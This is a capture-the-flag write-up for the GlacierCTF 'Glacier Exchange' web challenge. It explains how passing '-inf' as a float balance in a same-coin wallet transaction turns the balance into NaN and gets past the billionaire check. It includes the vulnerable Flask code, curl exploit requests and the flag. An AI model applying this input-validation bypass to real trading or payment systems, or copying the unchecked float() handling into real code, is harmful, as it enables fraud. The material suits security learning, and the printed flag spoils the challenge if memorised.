Glacier Exchange [241 Solves]
Description
We have launched a new revolutionary exchange tool, allowing you to trade on the market and hanging out with your rich friends in the Glacier Club. Only Billionaires can get in though. Can you help me hang out with lEon sMuk?
authors: hweissi & xsskevin
https://glacierexchange.web.glacierctf.com
Attachments: glacier_exchange.zip
Attachment file tree
$ unzip -t glacier_exchange.zip
Archive: glacier_exchange.zip
testing: chall/ OK
testing: chall/assets/ OK
testing: chall/assets/styles/ OK
testing: chall/assets/styles/main.css OK
testing: chall/assets/images/ OK
testing: chall/assets/images/bg.jpg OK
testing: chall/assets/images/convert-button.jpg OK
testing: chall/assets/icons/ OK
testing: chall/assets/icons/smtl.png OK
testing: chall/assets/icons/glaciercoin.png OK
testing: chall/assets/icons/cashout.png OK
testing: chall/assets/icons/gamestock.png OK
testing: chall/assets/icons/favicon.ico OK
testing: chall/assets/icons/doge.png OK
testing: chall/assets/icons/ycmi.png OK
testing: chall/assets/icons/ascoin.png OK
testing: chall/assets/scripts/ OK
testing: chall/assets/scripts/chart.component.js OK
testing: chall/assets/scripts/index.js OK
testing: chall/templates/ OK
testing: chall/templates/index.html OK
testing: chall/src/ OK
testing: chall/src/wallet.py OK
testing: chall/src/coin_api.py OK
testing: chall/requirements.txt OK
testing: chall/server.py OK
No errors detected in compressed data of glacier_exchange.zip.
Flag
gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}
Solution
The vulnerable API endpoint is [POST] /api/wallet/transaction.
# chall/server.py
# (snip)
@app.route('/api/wallet/transaction', methods=['POST'])
def transaction():
payload = request.json
status = 0
if "sourceCoin" in payload and "targetCoin" in payload and "balance" in payload:
wallet = get_wallet_from_session()
status = wallet.transaction(payload["sourceCoin"], payload["targetCoin"], float(payload["balance"])) # [1]
return jsonify({
"result": status
})
# (snip)
# chall/src/wallet.py
import threading
class Wallet():
def __init__(self) -> None:
self.balances = {
"cashout": 1000, # [2]
"glaciercoin": 0,
"ascoin": 0,
"doge": 0,
"gamestock": 0,
"ycmi": 0,
"smtl": 0
}
self.lock = threading.Lock();
def getBalances(self):
return self.balances
def transaction(self, source, dest, amount):
if source in self.balances and dest in self.balances:
with self.lock:
if self.balances[source] >= amount: # [3]
self.balances[source] -= amount
self.balances[dest] += amount
return 1
return 0
def inGlacierClub(self):
with self.lock:
for balance_name in self.balances:
if balance_name == "cashout":
if self.balances[balance_name] < 1000000000:
return False
else:
if self.balances[balance_name] != 0.0:
return False
return True
-
The
float()function is used for thebalanceparameter [1]. This implies the ability to create objects such asfloat('inf'),float('-inf')orfloat('nan'). -
sourceCoinandtargetCoincan be set to the same value. -
The initial value for
cashoutis 1000 [2]. If-infis input forbalance, thetransaction()method is executed, and calculate foramount[3]. Testing in Python Console due to confirm the operation oftransaction()method:
>>> balance = 1000
>>> balance >= float('-inf')
True
>>> balance -= float('-inf'); print(balance)
inf
>>> balance += float('-inf'); print(balance)
nan
>>> balance < 1000000000 # confirmation for inGlacierClub()
False
Thus, inGlacierClub() returns True.
$ curl -D- --cookie-jar cookies.txt https://glacierexchange.web.glacierctf.com/api/wallet/transaction -H 'Content-Type: application/json' -d '{"sourceCoin":"cashout", "targetCoin":"cashout", "balance": "-inf"}'
HTTP/2 200
date: Mon, 27 Nov 2023 04:15:59 GMT
content-type: application/json
content-length: 13
vary: Cookie
set-cookie: session=eyJpZCI6InpqNmw3ZjAwdGZxQmFZX096bngyTlEifQ.ZWQX_w.h-yqkMhwCzlxdQ576ApoNAQo3qQ; HttpOnly; Path=/
strict-transport-security: max-age=15724800; includeSubDomains
{"result":1}
$ curl -D- --cookie cookies.txt https://glacierexchange.web.glacierctf.com/api/wallet/balances
HTTP/2 200
date: Mon, 27 Nov 2023 04:16:15 GMT
content-type: application/json
content-length: 203
vary: Cookie
strict-transport-security: max-age=15724800; includeSubDomains
[{"name":"cashout","value":NaN},{"name":"glaciercoin","value":0},{"name":"ascoin","value":0},{"name":"doge","value":0},{"name":"gamestock","value":0},{"name":"ycmi","value":0},{"name":"smtl","value":0}]
$ curl -D- --cookie cookies.txt https://glacierexchange.web.glacierctf.com/api/wallet/join_glacier_club -X POST
HTTP/2 200
date: Mon, 27 Nov 2023 04:16:35 GMT
content-type: application/json
content-length: 70
vary: Cookie
strict-transport-security: max-age=15724800; includeSubDomains
{"clubToken":"gctf{PyTh0N_CaN_hAv3_Fl0At_0v3rFl0ws_2}","inClub":true}